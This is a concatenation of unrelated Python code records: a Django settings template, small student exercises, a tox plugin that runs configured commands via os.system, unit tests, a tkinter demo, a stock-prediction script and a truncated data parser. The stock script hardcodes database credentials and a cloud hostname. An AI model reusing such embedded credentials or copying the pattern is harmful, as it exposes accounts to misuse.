project like this: os.path.join(BASE_DIR, ...)\nBASE_DIR = os.path.join(ROOT_DIR, 'app')\nDATA_DIR = os.environ.get('PUBLIC_DIR', os.path.join(BASE_DIR, 'data'))\nPUBLIC_DIR = os.environ.get('PUBLIC_DIR', os.path.join(BASE_DIR, 'public'))\n\nWSGI_APPLICATION = '<%= siteName %>.wsgi.application'\n\nENV = os.environ.get('ENV', 'production')\n\n\n\n################################################################################\n### System ####################################################################\n################################################################################\n\nDATABASES = {}\n\nDEBUG = bool(os.environ.get('DEBUG', True if ENV == 'dev' else False))\nTEMPLATE_DEBUG = bool(os.environ.get('TEMPLATE_DEBUG', True if ENV == 'dev' else False))\n\n\n### Django core apps. ###\nCORE_APPS = (\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n\n # Site framework.\n 'django.contrib.sites',\n)\n\nCONTRIB_APPS = (\n # Schema migration.\n 'south',\n)\n\nINTERNAL_APPS = (\n 'core',\n '<%= siteName %>',\n)\n\n# Note: MIGHT BE OVERWRITTEN IN ENV SETTINGS. SEE dev.py.\nINSTALLED_APPS = INTERNAL_APPS + CONTRIB_APPS + CORE_APPS\n\n\n##############\n# MIDDLEWARE #\n##############\n\n# List of middleware classes to use. Order is important; in the request phase,\n# this middleware classes will be applied in the order given, and in the\n# response phase the middleware will be applied in reverse order.\nMIDDLEWARE_CLASSES = (\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n# 'django.middleware.http.ConditionalGetMiddleware',\n# 'django.middleware.gzip.GZipMiddleware',\n)\n\n\n\n############\n# FIXTURES #\n############\n\n# The list of directories to search for fixtures\nFIXTURE_DIRS = (\n os.path.join(DATA_DIR, 'fixtures'),\n)\n\n\n\n################################################################################\n### Administration and security ################################################\n################################################################################\n\nSECRET_KEY = os.environ.get('SECRET_KEY')\n\n# People who get code error notifications.\n# In the format (('Full Name', 'email@example.com'), ('Full Name', 'anotheremail@example.com'))\n# To specify with environment var, set it like this:\n# ADMINS=\"admin1,admin1@domain.com;admin2,admin2@domain.com\"\nADMINS = [l.split(',') for l in os.environ.get('ADMINS', '').split(';')]\n\n# Not-necessarily-technical managers of the site. They get broken link\n# notifications and other various emails.\nMANAGERS = ADMINS\n\n# Tuple of IP addresses, as strings, that:\nINTERNAL_IPS = os.environ.get('INTERNAL_IPS', '127.0.0.1').split(' ')\n\n# Hosts/domain names that are valid for this site.\n# \"*\" matches anything, \".example.com\" matches example.com and all subdomains\n# For dev environment, this is set to all hosts.\nALLOWED_HOSTS = os.environ.get('ALLOWED_HOSTS', '').split(' ')\n\n\n\n################################################################################\n### AUTHENTICATION #############################################################\n################################################################################\n\nAUTHENTICATION_BACKENDS = (\n 'django.contrib.auth.backends.ModelBackend',\n)\n\nLOGIN_URL = '/accounts/login/'\nLOGOUT_URL = '/accounts/logout/'\nLOGIN_REDIRECT_URL = '/'\n\n# The number of days a password reset link is valid for\nPASSWORD_RESET_TIMEOUT_DAYS = 3\n\n\n\n################################################################################\n### Language , timezone and i18n ###############################################\n################################################################################\n\n# Local time zone for this installation. All choices can be found here:\n# http://en.wikipedia.org/wiki/List_of_tz_zones_by_name (although not all\n# systems may support all possibilities). When USE_TZ is True, this is\n# interpreted as the default user time zone.\nTIME_ZONE = 'Europe/Vienna'\n\n# If you set this to True, Django will use timezone-aware datetimes.\nUSE_TZ = True\n\n# Language code for this installation. All choices can be found here:\n# http://www.i18nguy.com/unicode/language-identifiers.html\nLANGUAGE_CODE = 'de-DE'\n\n# If you set this to False, Django will make some optimizations so as not\n# to load the internationalization machinery.\nUSE_I18N = True\n\n# If you set this to True, Django will format dates, numbers and calendars\n# according to user current locale.\nUSE_L10N = False\n\n# Default accepted input formats for Forms.\n# Use them like this on a form field: \n# form django_baseline import get_config\n# date = forms.DateField(input_formats=get_config(\"DATE_INPUT_FORMATS\"))\n\nDATE_INPUT_FORMATS = [\"%d.%m.%Y\", \"%Y-%m-%d\"]\nDATETIME_INPUT_FORMATS = [\"%d.%m.%Y %H:%M\", \"%Y-%m-%d %H:%M\"]\n\n\n\n################################################################################\n### Email ######################################################################\n################################################################################\n\n# Email address that error messages come from.\nSERVER_EMAIL = 'admin@' + HOST\n\nEMAIL_SUBJECT_PREFIX = \"[{n}] \".format(n=SITE_NAME)\n\n# The email backend to use. For possible shortcuts see django.core.mail.\nEMAIL_BACKEND = os.environ.get('EMAIL_BACKEND', 'django.core.mail.backends.smtp.EmailBackend')\n\n# Host for sending email.\nEMAIL_HOST = os.environ.get('EMAIL_HOST', 'localhost')\n\n# Port for sending email.\nEMAIL_PORT = int(os.environ.get('EMAIL_PORT', 25))\n\n# Optional SMTP authentication information for EMAIL_HOST.\nEMAIL_HOST_USER = os.environ.get('EMAIL_HOST_USER', '')\nEMAIL_HOST_PASSWORD = os.environ.get('EMAIL_HOST_PASSWORD', '')\nEMAIL_USE_TLS = bool(os.environ.get('EMAIL_USE_TLS', False))\n\n# Default email address to use for various automated correspondence from\n# the site managers.\nDEFAULT_FROM_EMAIL = 'no-reply@' + HOST\n\n\n\n################################################################################\n### Templates ##################################################################\n################################################################################\n\n# List of locations of the template source files, in search order.\nTEMPLATE_DIRS = ()\n\nTEMPLATE_LOADERS = (\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader',\n# 'django.template.loaders.eggs.Loader',\n)\n\n# List of processors used by RequestContext to populate the context.\nTEMPLATE_CONTEXT_PROCESSORS = (\n 'django.contrib.auth.context_processors.auth',\n 'django.core.context_processors.debug',\n 'django.core.context_processors.i18n',\n 'django.core.context_processors.media',\n 'django.core.context_processors.static',\n 'django.core.context_processors.tz',\n 'django.core.context_processors.request',\n 'django.contrib.messages.context_processors.messages',\n)\n\n# Output to use in template system for invalid (e.g. misspelled) variables.\nTEMPLATE_STRING_IF_INVALID = ''\n\n\n\n################################################################################\n### URL config #################################################################\n################################################################################\n\n# Whether to append trailing slashes to URLs.\nAPPEND_SLASH = True\n\n# Whether to prepend the \"www.\" subdomain to URLs that don't have it.\nPREPEND_WWW = False\n\n# List of compiled regular expression objects representing URLs that need not\n# be reported by BrokenLinkEmailsMiddleware. Here are a few examples:\n# import re\n# IGNORABLE_404_URLS = (\n# re.compile(r'^/apple-touch-icon.*\\.png$'),\n# re.compile(r'^/favicon.ico$),\n# re.compile(r'^/robots.txt$),\n# re.compile(r'^/phpmyadmin/),\n# re.compile(r'\\.(cgi|php|pl)$'),\n# )\nIGNORABLE_404_URLS = ()\n\n# Default module to use for urls.\nROOT_URLCONF = '<%= siteName %>.urls'\n\n\n\n################################################################################\n### Static and media files #####################################################\n################################################################################\n\n# Absolute filesystem path to the directory that will hold user-uploaded files.\nMEDIA_ROOT = os.path.join(PUBLIC_DIR, 'media')\n\n# URL that handles the media served from MEDIA_ROOT.\nMEDIA_URL = '/media/'\n\n# Absolute path to the directory static files should be collected to.\nSTATIC_ROOT = os.path.join(PUBLIC_DIR, 'static')\n\n# URL that handles the static files served from STATIC_ROOT.\nSTATIC_URL = '/static/'\n\n\n# List of finder classes that know how to find static files in\n# various locations.\nSTATICFILES_FINDERS = (\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n 'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n)\n\n# A list of locations of additional static files\nSTATICFILES_DIRS = (\n os.path.join(PUBLIC_DIR, 'dist'),\n os.path.join(PUBLIC_DIR, 'bower_components'),\n)\n\n\n\n################################################################################\n### Logging ####################################################################\n################################################################################\n\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'formatters': {\n 'verbose': {\n 'format': '%(levelname)s %(asctime)s %(module)s %(process)d %(thread)d %(message)s'\n },\n 'simple': {\n 'format': '%(levelname)s %(message)s'\n },\n },\n 'handlers': {\n 'file_requests': {\n 'level': 'INFO',\n 'class': 'logging.FileHandler',\n 'filename': os.path.join(DATA_DIR, 'logs', 'requests.log'),\n 'mode': 'a',\n },\n 'file_security': {\n 'level': 'INFO',\n 'class': 'logging.FileHandler',\n 'filename': os.path.join(DATA_DIR, 'logs', 'security.log'),\n 'mode': 'a',\n }\n },\n 'loggers': {\n 'django.request': {\n 'handlers': ['file_requests'],\n 'level': 'INFO',\n 'propagate': False,\n },\n 'django.security': {\n 'handlers': ['file_security'],\n 'level': 'INFO',\n 'propagate': False,\n },\n },\n}\n\n\n#################################################################################\n#################################################################################\n#################################################################################\n\n\n################################################################################\n### App settings ###############################################################\n################################################################################\n\n\n########################\n# django.contrib.sites #\n########################\n\n# Django Site framework settings.\nSITE_ID = 1\n","sub_path":"generators/app/templates/base_app/settings/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":13187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"250507641","text":"# Robert Tessnow-Ramirez ID: 2310889\n# The Pseudocode\n# Start of Program\n# Get float value of order, assign to Value\n# use if statement to decide determin if the charges is equal or greater than 100\n# if greater or equal to 100 print Value\n# use else statement to get weight from user, assign to weight\n# use if statement to determin if weight is greater or equal to 40 to multiply by 1.09 and add the value\n# use if statement to determin if weight is greater than or equal to 20 and less than 40 to multiply by .99 and add the value\n# use if statemtnt to determin if weight is less then 20 to multiply weight times 0.89 and add the value\n# print your charges are and formatted Value\n# end program\n\nValue = float(input('Please enter item(s) value ')) #gets user to enter Value\nif Value >= 100: # determnes if Value is greater or equal to 100\n print(' Your charges are: ','$',format(Value, ',.2f'), sep='')\nelse:\n Weight = float(input('Please enter weight. '))\n if Weight >= 40:\n Value = Value + 1.09 * Weight\n print('Your charges are ','$', format(Value, '.2f'), sep='')\n if Weight >= 20 and Weight < 40: # determines whether weight entered is greater or equal to 20 and less then 40\n Value = Value + .99 * Weight # Value of the item is added to the product of .99 and the Weight\n print('Your charges are ','$', format(Value, '.2f'), sep='')\n if Weight < 20:\n Value = Value + 0.89 * Weight\n print('Your charges are ','$', format(Value, '.2f'), sep='')\n\n","sub_path":"Charge.py","file_name":"Charge.py","file_ext":"py","file_size_in_byte":1549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"451537087","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/tox_run_before.py\n# Compiled at: 2018-01-12 08:00:33\nfrom os import system\nfrom tox import hookimpl\n\n@hookimpl\ndef tox_configure(config):\n for env in config.envlist:\n for cmd in config.envconfigs[env]._reader.getlist('run_before'):\n system(cmd)","sub_path":"pycfiles/tox_run_before-0.1-py2.7/tox_run_before.py","file_name":"tox_run_before.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"418755965","text":"import unittest\nimport math\nfrom unittest import mock\nimport sys\nimport os\n\nsys.path.append(os.path.abspath('../'))\nfrom template.table import *\nfrom template.index import Index\nfrom template.config import *\n\n\nclass TestTableFunctionality(unittest.TestCase):\n def setUp(self):\n self.name = \"grades\"\n self.key = 0\n self.num_columns = 5\n\n self.table = Table(self.name, self.num_columns, self.key)\n\n self.assertEqual(self.table.name, \"grades\")\n self.assertEqual(self.table.key, 0)\n self.assertEqual(self.table.num_all_columns, 9)\n self.assertEqual(self.table.page_directory.num_all_columns, 9)\n self.assertEqual(self.table.page_directory.currPageRangeIndex, 0)\n self.assertEqual(self.table.index.table, self.table)\n self.assertEqual(self.table.latestRID, None)\n self.assertEqual(self.table.currPageRangeIndex, 0)\n\n def test_table_getRecord(self):\n self.table.createNewRecord(0, [123456, 6, 7, 8, 9])\n\n record = self.table.getRecord(100000000)\n\n self.assertEqual(record.key, 123456)\n self.assertEqual(record.indirection, 0)\n # self.assertEqual(record.timestamp, 100000000)\n self.assertEqual(record.encoding, 0)\n self.assertEqual(record.columns, [123456, 6, 7, 8, 9])\n self.assertEqual(record.RID, 100000000)\n\n def test_table_createNewRecord(self):\n numOfRecordsAdded = 10000\n values = [0, 0, 0, 0, 0]\n\n for i in range(0, numOfRecordsAdded):\n values = [0, 0, 0, 0, 1 + i]\n self.table.createNewRecord(i + 1, values)\n\n # 10000 records created, with 10 total columns\n # page = 1000 records\n # 2000 records per pageRange\n # each page range can hold 2 sets of physical pages -> \n # the Page Directory should have 5 Page Ranges\n pageRanges = self.table.page_directory.pageRanges\n numOfPageRanges = len(pageRanges)\n pageRangeCapacity = self.table.page_directory.pageRanges[0].getPageRangeCapacity()\n\n # I think this is right\n expectedNumOfPageRanges = math.floor((numOfRecordsAdded / PAGE_SIZE) / pageRangeCapacity)\n\n self.assertEqual(numOfPageRanges, expectedNumOfPageRanges)\n\n # loop through table.pagedirectories base pages\n for i in range(0, numOfPageRanges):\n basePages = pageRanges[i].basePages\n\n self.assertEqual(len(basePages), pageRangeCapacity)\n\n # loop through each basePage/ set of Physical pages\n for i in range(0, len(basePages)):\n physicalPages = basePages[i]\n\n self.assertEqual(len(physicalPages.physicalPages), RECORD_COLUMN_OFFSET + len(values))\n\n # spot check random ids-------------------------- will only work for the 5 column format\n # record: 500 -> 1 00 00 0499\n record = self.table.getRecord(100000499)\n RID = record.RID\n fifthColItem = record.columns[4]\n self.assertEqual(fifthColItem, 500)\n self.assertEqual(RID, 100000499)\n\n # record: 1000 -> 1 00 00 0999\n record = self.table.getRecord(100000999)\n RID = record.RID\n fifthColItem = record.columns[4]\n self.assertEqual(fifthColItem, 1000)\n self.assertEqual(RID, 100000999)\n\n # record: 1001 -> 1 00 01 0000\n record = self.table.getRecord(100010000)\n RID = record.RID\n fifthColItem = record.columns[4]\n self.assertEqual(fifthColItem, 1001)\n self.assertEqual(RID, 100010000)\n\n # #record: 2001 -> 1 01 00 0000\n record = self.table.getRecord(101000000)\n RID = record.RID\n fifthColItem = record.columns[4]\n self.assertEqual(fifthColItem, 2001)\n self.assertEqual(RID, 101000000)\n\n # record: 2600 -> 1 01 00 0599\n record = self.table.getRecord(101000599)\n RID = record.RID\n fifthColItem = record.columns[4]\n self.assertEqual(fifthColItem, 2600)\n self.assertEqual(RID, 101000599)\n\n # record: 7999 -> 1 03 01 0998\n record = self.table.getRecord(103010998)\n RID = record.RID\n fifthColItem = record.columns[4]\n self.assertEqual(fifthColItem, 7999)\n self.assertEqual(RID, 103010998)\n\n # record 8000 -> 1 03 01 0999\n record = self.table.getRecord(103010999)\n RID = record.RID\n fifthColItem = record.columns[4]\n self.assertEqual(fifthColItem, 8000)\n self.assertEqual(RID, 103010999)\n\n # record 8001 -> 1 04 00 0000\n record = self.table.getRecord(104000000)\n RID = record.RID\n fifthColItem = record.columns[4]\n self.assertEqual(fifthColItem, 8001)\n self.assertEqual(RID, 104000000)\n\n # record: 10000 -> 1 04 01 0999\n record = self.table.getRecord(104010999)\n RID = record.RID\n fifthColItem = record.columns[4]\n self.assertEqual(fifthColItem, 10000)\n self.assertEqual(RID, 104010999)\n\n def test_table_updateRecord(self):\n numOfRecordsAdded = 10\n values = [0, 0, 0, 0, 0]\n\n for i in range(0, numOfRecordsAdded):\n values = [0, 0, 0, 0, 1 + i]\n self.table.createNewRecord(i + 1, values)\n\n self.table.updateRecord(1234, 100000000, [None, None, None, None, 906659671])\n\n updatedBaseRecord = self.table.getRecord(100000000)\n self.assertEqual(updatedBaseRecord.encoding, 1)\n self.assertNotEqual(updatedBaseRecord.indirection, 0)\n\n expectedValues = self.table.getUpdatedRow(updatedBaseRecord.columns, [None, None, None, None, 906659671])\n\n updateTailRID = updatedBaseRecord.indirection\n tailRecord = self.table.getRecord(updateTailRID)\n\n self.assertEqual(tailRecord.columns, expectedValues)\n\n #test another update\n self.table.updateRecord(1234, 100000000, [10, None, None, 5, None])\n updatedBaseRecord2 = self.table.getRecord(100000000)\n\n #check that prev tail page points to new tail page\n tailRecord = self.table.getRecord(updateTailRID)\n self.assertNotEqual(tailRecord.indirection, 0)\n self.assertEqual(tailRecord.encoding, 1)\n\n #get new Tail Record\n updateTailRID2 = updatedBaseRecord2.indirection\n tailRecord2 = self.table.getRecord(updateTailRID2)\n\n self.assertEqual(tailRecord2.columns, [10, 0, 0, 5, 906659671])\n\n def test_table_updateRecordWithDeleteFlag(self):\n numOfRecordsAdded = 10\n values = [2, 3, 4, 5, 6]\n\n for i in range(0, numOfRecordsAdded):\n values = [0, 0, 0, 0, 1 + i]\n self.table.createNewRecord(i + 1, values)\n\n self.table.updateRecord(123456, 100000000, [1,2,3,4,5], deleteFlag=True)\n\n baseRecord = self.table.getRecord(100000000)\n\n self.assertEqual(baseRecord.encoding, 1)\n\n deleteTailRID = baseRecord.indirection\n deleteTailRecord = self.table.getRecord(deleteTailRID)\n\n self.assertEqual(deleteTailRecord.encoding, 2)\n self.assertEqual(deleteTailRecord.columns[0], 0)\n self.assertEqual(deleteTailRecord.columns[1], 0)\n self.assertEqual(deleteTailRecord.columns[2], 0)\n self.assertEqual(deleteTailRecord.columns[3], 0)\n self.assertEqual(deleteTailRecord.columns[4], 0)\n\n def test_table_getLatestupdatedRecord(self):\n numOfRecordsAdded = 10\n values = [0, 0, 0, 0, 0]\n\n for i in range(0, numOfRecordsAdded):\n values = [0, 0, 0, 0, 1 + i]\n self.table.createNewRecord(i + 1, values)\n\n baseRID = 100000002 #already updated from previous test\n\n self.table.updateRecord(123456, baseRID, [10, None, None, None, None])\n\n record = self.table.getLatestupdatedRecord(baseRID)\n\n value = record.columns[0]\n expectedValue = 10\n\n self.assertEqual(expectedValue, value)\n\n ##add another update\n self.table.updateRecord(123456, baseRID, [None, 5, None, None, None])\n record = self.table.getLatestupdatedRecord(baseRID)\n value = record.columns\n expectedValue = [10, 5, 0, 0, 3]\n\n self.assertEqual(expectedValue, value)\n\n def test_table_getUpdatedRow(self):\n currValues = [1, 2, 3, 4, 5]\n updateRequest = [10, None, None, 100000000, None]\n expected = [10, 2, 3, 100000000, 5]\n\n updatedResponse = self.table.getUpdatedRow(currValues, updateRequest)\n\n self.assertEqual(expected, updatedResponse)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"tests/table_tester.py","file_name":"table_tester.py","file_ext":"py","file_size_in_byte":8500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"394255428","text":"# Grundlegende Informationen:\n# Tkinter benutzt eigene Datentypen, die leicht von den gewohnten Datentypen abweichen.\n# Diese sind: StringVar(), IntVar(), DoubleVar()-> entspricht float und BooleanVar()\n\nimport tkinter as tk\nfrom tkinter import Spinbox\n \n# Erzeugen von Globalen Variablen auf Modul-Ebene\n# Module in Python sind inoffizielle Namespaces\n# Python kennt eig. keine Konstanten -> keine Warnungen, wenn GlobaleVar verändert werden\n\nGLOBAL_CONST =42 #C-Style\n\n\nwin=tk.Tk()\n\n# Zuweisung\nstrData = tk.StringVar()\n# Setzen der Daten\nstrData.set('Hello StringVar')\n# Umwandlung: stringVar() -> string\nvarData = strData.get()\n\nprint(varData)\n# Ausgabe der Defaultwerte (PY_VAR1 usw..)\n# Auch die Zuweisung zu einer Python Variablen würde daran nichts ändern\n# Erst nach Aufruf der get() Methode wird der Wert zu 0\nprint(tk.IntVar())\nprint(tk.DoubleVar())\nprint(tk.BooleanVar())\n\n#Daten von einem Widget erhalten\n#Widget:\n\nspin = Spinbox(win, width=5, bd=8)\nspin['values'] = (1, 2, 4, 42, 100)\nspin.grid(column=0, row=2)\n\nstrData = spin.get()\nprint(\"Spinbox value: \" + strData)\n\ndef usingGlobal():\n global GLOBAL_CONST # Hinweis, dass die globale Variable verwendet werden soll\n print(GLOBAL_CONST) # Ansonsten, Fehler, weil Variable nicht im Namespace\n GLOBAL_CONST=777\n print(GLOBAL_CONST)\n\nusingGlobal()\n\n#======================\n# Start GUI\n#======================\nwin.mainloop()","sub_path":"Anderes/Datentypen+GlobaleVars.py","file_name":"Datentypen+GlobaleVars.py","file_ext":"py","file_size_in_byte":1407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"488303557","text":"from __future__ import print_function\r\n\r\nimport os\r\nimport subprocess\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nfrom sklearn.metrics import classification_report, confusion_matrix, precision_score\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn import preprocessing\r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom sklearn.neural_network import MLPClassifier\r\nfrom sklearn import linear_model\r\nimport matplotlib.pyplot as plt\r\nfrom sqlalchemy import *\r\n\r\n\r\n\r\ndb_connection = create_engine('mysql://erics:password@cs4450.cj7o28wmyp47.us-east-2.rds.amazonaws.com/Stock')\r\nQ = \"\"\r\nwhile Q != \"Q\" and Q != \"q\":\r\n Q = input(\"Press Q to quit or this will repeat forever for testing. Or enter how many rotations for slope do you want? \")\r\n if Q == \"Q\" or Q == \"q\":\r\n break\r\n df = pd.read_sql('SELECT * FROM stocks ORDER BY stockID DESC LIMIT 1000', con=db_connection)\r\n da = pd.read_sql('SELECT * FROM stocks ORDER BY stockID DESC LIMIT 1', con=db_connection)\r\n #da = pd.read_sql('SELECT * FROM stocks WHERE stockID = 417', con=db_connection)\r\n\r\n #This is for showing what data I have.\r\n #print(\"Working with:\",df)\r\n #print (\"target:\",da)\r\n\r\n #Test data=========================================================================================\r\n #df = pd.read_csv(\"AMZN.csv\")\r\n #da = pd.read_csv(\"AMZN_test.csv\")\r\n #df = pd.read_csv(\"A5_train.csv\")\r\n #af = pd.read_csv(\"A5_test.csv\")\r\n #==================================================================================================\r\n\r\n features = [\"date\", \"time\"] #What features does the regression work with?\r\n #features2 = [\"date\", \"time\"]\r\n\r\n targets = df[\"costPerShare\"].unique()\r\n targets1 = da[\"costPerShare\"].unique()\r\n\r\n #print(\"Targets:\")\r\n #print(targets)\r\n\r\n\r\n map_to_int = {name: n for n, name in enumerate(targets)}\r\n\r\n #df[\"Target\"] = df[\"costPerShare\"].replace(map_to_int) #This is for neural net, it must have ints to work with.\r\n #df[features] = df[features].replace(map_to_int)\r\n da[\"Target1\"] = da[\"costPerShare\"]\r\n df[\"Target\"] = df[\"costPerShare\"]\r\n df[\"featuresTS\"] = df[\"time\"]\r\n\r\n y = df[\"Target\"]\r\n X = df[features]\r\n XT = df[\"featuresTS\"]\r\n y1 = da[\"Target1\"]\r\n X1 = da[features]\r\n\r\n\r\n\r\n #print(df)\r\n #now let us actually predict:\r\n #X_train, X_test, y_train, y_test = (X, X1, y, y1 )\r\n X_train, X_test, y_train, y_test = X, X1, y, y1 #Saving data into training and test.\r\n\r\n #print(X_train)\r\n #print(y_train)\r\n\r\n\r\n #plt.plot(XT, y)\r\n #plt.show()\r\n\r\n\r\n\r\n ##print(len(y_test))\r\n\r\n # #First neural net-----------------------------------------------\r\n #scaler = StandardScaler()\r\n #scaler.fit(X_train)\r\n\r\n #X_train = scaler.transform(X_train)\r\n #X_test = scaler.transform(X_test)\r\n\r\n #mlp = MLPClassifier(hidden_layer_sizes=(30,30,30), max_iter=1000)\r\n\r\n #mlp.fit(X_train,y_train)\r\n\r\n #predictions = mlp.predict(X_test)\r\n #print(\"Predictions: \", predictions)\r\n ##print(\"Y_test: \",y_test)\r\n ###print (y_test)\r\n\r\n\r\n #print(\"Neural Network:\",sum(y_test == predictions),\"/\",len(y_test))\r\n\r\n\r\n\r\n #Linear Regression!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\r\n lm = linear_model.LinearRegression()\r\n model = lm.fit(X_train,y_train)\r\n predictions = lm.predict(X_test)\r\n ##in order to compare the predictions versus the y_test, we have to format them both as lists:\r\n print(\"predictions for linear regression model:\")\r\n print(predictions)\r\n preds = list(predictions)\r\n ##print(type(preds))\r\n ##print(preds)s\r\n ##print(\"\\n\\ny_test:\")\r\n ##print(type(y_test))\r\n ##print(y_test)\r\n y_test_list = list(y_test)\r\n ##print(y_test_list)\r\n counter = 0\r\n print (preds)\r\n print(y_test)\r\n\r\n\r\n print (\"tester: \" + X_test)\r\n\r\n print(\"Linear regression weight 20%: \",predictions)\r\n\r\n weightA = predictions * .2\r\n print()\r\n print()\r\n #===========================================================================\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n #===========================================================================\r\n #Find slope\r\n #===========================================================================\r\n i = 1\r\n slopeAdded = 0\r\n rotations = int(Q)\r\n for counter in range(1,rotations):\r\n first = y[i]\r\n second = y[i+1]\r\n third = y[i+2]\r\n print (\"costs per time: \",first,\", \",second,\", \",third)\r\n\r\n\r\n firstT = XT[i]\r\n secondT = XT[i+1]\r\n thirdT = XT[i+2]\r\n\r\n slope1 = (float(first) - float(second))/(float(firstT) - float(secondT))\r\n slope2 = (float(second) - float(third))/(float(secondT) - float(thirdT))\r\n slopeAdded = slopeAdded+slope1+slope2\r\n i = i + 3\r\n counter = counter + 1\r\n totSlope = abs(slopeAdded / counter)#I have no clue why but this is more correct when I take the absolute value of the function...Why?\r\n #this seems to work for small amounts of rotations, but when I move to larger amounts, n -> inf slope is right on almost every time. Strange to be honest.\r\n\r\n #tester-----------------------------------------------------\r\n #first = y[41]\r\n #second = y[42]\r\n #third = y[43]\r\n\r\n ##print(first, \" \", second, \" \", third)\r\n\r\n #firstT = XT[41]\r\n #secondT = XT[42]\r\n #thirdT = XT[43]\r\n #==========================================================\r\n\r\n #print(firstT, \" \", secondT, \" \", thirdT)\r\n\r\n\r\n\r\n\r\n\r\n\r\n #=============================================\r\n #First slope calculator\r\n #=============================================\r\n #first = y[1]\r\n #second = y[1+1]\r\n #third = y[1+2]\r\n\r\n\r\n #firstT = XT[1]\r\n #secondT = XT[1+1]\r\n #thirdT = XT[1+2]\r\n\r\n ##Find slope of first and firstT\r\n #slope1 = (float(first) - float(second))/(float(firstT) - float(secondT))\r\n #slope2 = (float(second) - float(third))/(float(secondT) - float(thirdT))\r\n #print (\"slope for 1: \",slope1)\r\n #print (\"slope for 2: \",slope2)\r\n #totSlope = (slope1 + slope2) / 2\r\n\r\n #==============================================================================\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n print (\"Slope: \", totSlope)\r\n\r\n last = y[1]\r\n newFirst = last * totSlope\r\n tempFirst = newFirst + last\r\n\r\n print (\"Prediction based on slope:\", tempFirst)\r\n\r\n tempFirst = tempFirst * .8\r\n\r\n newPrediction = tempFirst + weightA\r\n\r\n print (\"Prediction: \",newPrediction)\r\n i = 0\r\n counter = 0\r\n for i in range(0,len(predictions)):\r\n #print(\"Prediction value = %3.2f\\ty_test value = %3.2f difference = %3.2f\" % (preds[i],y_test_list[i], (y_test_list[i] - preds[i])))\r\n if (y_test_list[i] - newPrediction[i]) < 5 and (y_test_list[i] - newPrediction[i]) > -5:\r\n counter = counter + 1\r\n\r\n\r\n print(\"How many within $5:\",counter, \"/\",len(y_test))\r\n print(\"Correct amount: \",y_test)\r\n","sub_path":"PythonApplication3/PythonApplication3/PythonApplication3.py","file_name":"PythonApplication3.py","file_ext":"py","file_size_in_byte":6930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"588249333","text":"import json\nimport datetime\n\nPRODUCT_VIEWED_EVENT = lambda: 'product_viewed'\n\nADDED_TO_CART_EVENT = lambda: 'product_added_to_cart'\n\nANONYMOUS_ID = lambda: 'anonymousId'\n\nDATE_TIME_FORMAT = lambda: '%Y-%m-%dT%H:%M:%S.%fZ'\n\ndata_file_name = \"data.txt\"\n\n\ndef get_the_sequence(user_data_list, starting_index):\n ls = []\n for i in range(starting_index, len(user_data_list)):\n user_data = user_data_list[i]\n\n if \"event\" in user_data and user_data[\"event\"] == PRODUCT_VIEWED_EVENT():\n product_id = user_data[\"properties\"][\"product_id\"]\n product_type = user_data[\"properties\"][\"product_type\"]\n ls.append(Product(product_id, product_type))\n else:\n if len(ls) == 0:\n return None, i\n return ls, i\n return ls, len(user_data_list)\n\n\ndef skip_the_sequence(user_data_list, starting_index):\n for i in range(starting_index, len(user_data_list)):\n if \"event\" in user_data_list[i] and user_data_list[i][\"event\"] == PRODUCT_VIEWED_EVENT():\n return i\n return len(user_data_list)\n\n\n# from pyspark import SparkConf, SparkContext\n# conf = SparkConf().setMaster(\"local\").setAppName(\"first\")\n# sc = SparkContext(conf=conf)\nclass Product:\n\n def __init__(self, pid, ptype, cart_in=False):\n self.pid = pid\n self.ptype = ptype\n self.cart_in = cart_in\n\n def __eq__(self, other):\n return other.pid == self.pid\n\n def __hash__(self):\n return hash((self.pid, self.ptype))\n\n def __repr__(self):\n if self.cart_in:\n return str([self.pid, self.ptype, \"in cart\"])\n return str([self.pid, self.ptype])\n\n\n# data = sc.textFile(\"data.txt\")\n#\n# with open(data_file_name) as file:\n# dataList = json.load(file)\n\n\ndef read_data_file(file_name):\n data_list = []\n with open(file_name, 'r') as file:\n for line in file:\n data_list.append(json.loads(line))\n return data_list\n\n\ndata_list = read_data_file(data_file_name)\n# print(dataList)\n\nuserGroupedData = dict()\n\nfor data in data_list:\n anonymous_id = data[ANONYMOUS_ID()]\n userGroupedData.setdefault(anonymous_id, []).append(data)\n\nfrequency_mapping = dict()\n\nfor anonymous_id, user_data_list in userGroupedData.items():\n user_data_list.sort(key=lambda obj: datetime.datetime.strptime(obj[\"receivedAt\"], DATE_TIME_FORMAT()))\n\n 